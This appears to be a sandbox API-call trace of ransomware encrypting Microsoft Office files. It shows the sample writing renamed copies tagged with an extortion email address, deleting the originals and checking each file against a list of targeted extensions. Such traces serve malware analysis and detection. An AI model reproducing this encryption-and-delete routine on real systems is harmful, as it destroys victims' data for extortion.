	[0170.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.998] lstrlenW (lpString=".jpg") returned 4
	[0170.998] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1
	[0170.999] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0170.999] lstrlenW (lpString="Windows6.1-KB2999226-x86.msu") returned 28
	[0170.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.000] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=621986) returned 1
	[0171.000] CloseHandle (hObject=0x530) returned 1
	[0171.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220
	[0171.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.001] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.001] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0171.004] GetLastError () returned 0x0
	[0171.004] ReadFile (in: hFile=0x530, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x97da2, lpOverlapped=0x0) returned 1
	[0171.033] WriteFile (in: hFile=0x520, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x97db0, lpOverlapped=0x0) returned 1
	[0171.045] ReadFile (in: hFile=0x530, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.045] WriteFile (in: hFile=0x520, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0171.045] SetEndOfFile (hFile=0x520) returned 1
	[0171.045] CloseHandle (hObject=0x520) returned 1
	[0171.045] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.045] SetEndOfFile (hFile=0x530) returned 1
	[0171.341] CloseHandle (hObject=0x530) returned 1
	[0171.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1
	[0171.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.905] lstrlenW (lpString=".doc") returned 4
	[0171.905] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0171.905] lstrlenW (lpString=".docx") returned 5
	[0171.905] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0171.905] lstrlenW (lpString=".pdf") returned 4
	[0171.905] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0171.905] lstrlenW (lpString=".xls") returned 4
	[0171.905] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0171.905] lstrlenW (lpString=".xlsx") returned 5
	[0171.905] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0171.905] lstrlenW (lpString=".ppt") returned 4
	[0171.905] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0171.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.905] lstrlenW (lpString=".zip") returned 4
	[0171.905] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0171.905] lstrlenW (lpString=".rar") returned 4
	[0171.905] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0171.905] lstrlenW (lpString=".bz2") returned 4
	[0171.905] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0171.905] lstrlenW (lpString=".7z") returned 3
	[0171.905] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0171.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.905] lstrlenW (lpString=".dbf") returned 4
	[0171.905] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0171.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.906] lstrlenW (lpString=".1cd") returned 4
	[0171.906] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0171.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.906] lstrlenW (lpString=".jpg") returned 4
	[0171.906] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0171.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.906] lstrlenW (lpString=".doc") returned 4
	[0171.906] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0171.906] lstrlenW (lpString=".docx") returned 5
	[0171.906] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0171.906] lstrlenW (lpString=".pdf") returned 4
	[0171.906] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0171.906] lstrlenW (lpString=".xls") returned 4
	[0171.906] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0171.906] lstrlenW (lpString=".xlsx") returned 5
	[0171.906] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0171.906] lstrlenW (lpString=".ppt") returned 4
	[0171.906] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0171.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.906] lstrlenW (lpString=".zip") returned 4
	[0171.906] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0171.906] lstrlenW (lpString=".rar") returned 4
	[0171.906] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0171.906] lstrlenW (lpString=".bz2") returned 4
	[0171.906] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0171.906] lstrlenW (lpString=".7z") returned 3
	[0171.906] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0171.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.906] lstrlenW (lpString=".dbf") returned 4
	[0171.906] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0171.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.907] lstrlenW (lpString=".1cd") returned 4
	[0171.907] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0171.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0171.907] lstrlenW (lpString=".jpg") returned 4
	[0171.907] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0171.907] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0171.907] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24
	[0171.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0171.911] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=20775) returned 1
	[0171.911] CloseHandle (hObject=0x53c) returned 1
	[0171.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220
	[0171.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0171.914] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.914] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.942] GetLastError () returned 0x0
	[0171.942] ReadFile (in: hFile=0x53c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x5127, lpOverlapped=0x0) returned 1
	[0171.945] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0171.946] ReadFile (in: hFile=0x53c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.946] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x104, lpOverlapped=0x0) returned 1
	[0171.946] SetEndOfFile (hFile=0x530) returned 1
	[0171.946] CloseHandle (hObject=0x530) returned 1
	[0171.946] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.946] SetEndOfFile (hFile=0x53c) returned 1
	[0171.951] CloseHandle (hObject=0x53c) returned 1
	[0171.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1
	[0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.952] lstrlenW (lpString=".doc") returned 4
	[0171.952] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.952] lstrlenW (lpString=".docx") returned 5
	[0171.952] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.952] lstrlenW (lpString=".pdf") returned 4
	[0171.952] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.952] lstrlenW (lpString=".xls") returned 4
	[0171.952] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.952] lstrlenW (lpString=".xlsx") returned 5
	[0171.952] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.952] lstrlenW (lpString=".ppt") returned 4
	[0171.952] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.953] lstrlenW (lpString=".zip") returned 4
	[0171.953] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString=".rar") returned 4
	[0171.953] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString=".bz2") returned 4
	[0171.953] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString=".7z") returned 3
	[0171.953] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.953] lstrlenW (lpString=".dbf") returned 4
	[0171.953] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.953] lstrlenW (lpString=".1cd") returned 4
	[0171.953] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.953] lstrlenW (lpString=".jpg") returned 4
	[0171.953] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.953] lstrlenW (lpString=".doc") returned 4
	[0171.953] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString=".docx") returned 5
	[0171.953] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.953] lstrlenW (lpString=".pdf") returned 4
	[0171.953] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString=".xls") returned 4
	[0171.953] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString=".xlsx") returned 5
	[0171.953] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.953] lstrlenW (lpString=".ppt") returned 4
	[0171.953] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.954] lstrlenW (lpString=".zip") returned 4
	[0171.954] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.954] lstrlenW (lpString=".rar") returned 4
	[0171.954] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.954] lstrlenW (lpString=".bz2") returned 4
	[0171.954] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.954] lstrlenW (lpString=".7z") returned 3
	[0171.954] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.954] lstrlenW (lpString=".dbf") returned 4
	[0171.954] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.954] lstrlenW (lpString=".1cd") returned 4
	[0171.954] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0171.954] lstrlenW (lpString=".jpg") returned 4
	[0171.954] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.954] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0171.954] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27
	[0171.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0171.955] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11594) returned 1
	[0171.955] CloseHandle (hObject=0x53c) returned 1
	[0171.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0171.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0171.956] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.956] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0171.957] GetLastError () returned 0x0
	[0171.957] ReadFile (in: hFile=0x53c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d4a, lpOverlapped=0x0) returned 1
	[0171.959] WriteFile (in: hFile=0x544, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0171.960] ReadFile (in: hFile=0x53c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.960] WriteFile (in: hFile=0x544, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0171.960] SetEndOfFile (hFile=0x544) returned 1
	[0171.960] CloseHandle (hObject=0x544) returned 1
	[0171.960] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.960] SetEndOfFile (hFile=0x53c) returned 1
	[0171.963] CloseHandle (hObject=0x53c) returned 1
	[0171.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1
	[0171.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.964] lstrlenW (lpString=".doc") returned 4
	[0171.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.964] lstrlenW (lpString=".docx") returned 5
	[0171.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.964] lstrlenW (lpString=".pdf") returned 4
	[0171.964] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.964] lstrlenW (lpString=".xls") returned 4
	[0171.964] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.964] lstrlenW (lpString=".xlsx") returned 5
	[0171.964] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.964] lstrlenW (lpString=".ppt") returned 4
	[0171.964] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.964] lstrlenW (lpString=".zip") returned 4
	[0171.964] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.964] lstrlenW (lpString=".rar") returned 4
	[0171.964] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.964] lstrlenW (lpString=".bz2") returned 4
	[0171.964] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.964] lstrlenW (lpString=".7z") returned 3
	[0171.964] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.965] lstrlenW (lpString=".dbf") returned 4
	[0171.965] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.965] lstrlenW (lpString=".1cd") returned 4
	[0171.965] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.965] lstrlenW (lpString=".jpg") returned 4
	[0171.965] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.965] lstrlenW (lpString=".doc") returned 4
	[0171.965] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString=".docx") returned 5
	[0171.965] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.965] lstrlenW (lpString=".pdf") returned 4
	[0171.965] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString=".xls") returned 4
	[0171.965] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString=".xlsx") returned 5
	[0171.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.965] lstrlenW (lpString=".ppt") returned 4
	[0171.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.965] lstrlenW (lpString=".zip") returned 4
	[0171.965] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString=".rar") returned 4
	[0171.965] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString=".bz2") returned 4
	[0171.965] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.965] lstrlenW (lpString=".7z") returned 3
	[0171.965] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.965] lstrlenW (lpString=".dbf") returned 4
	[0171.966] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
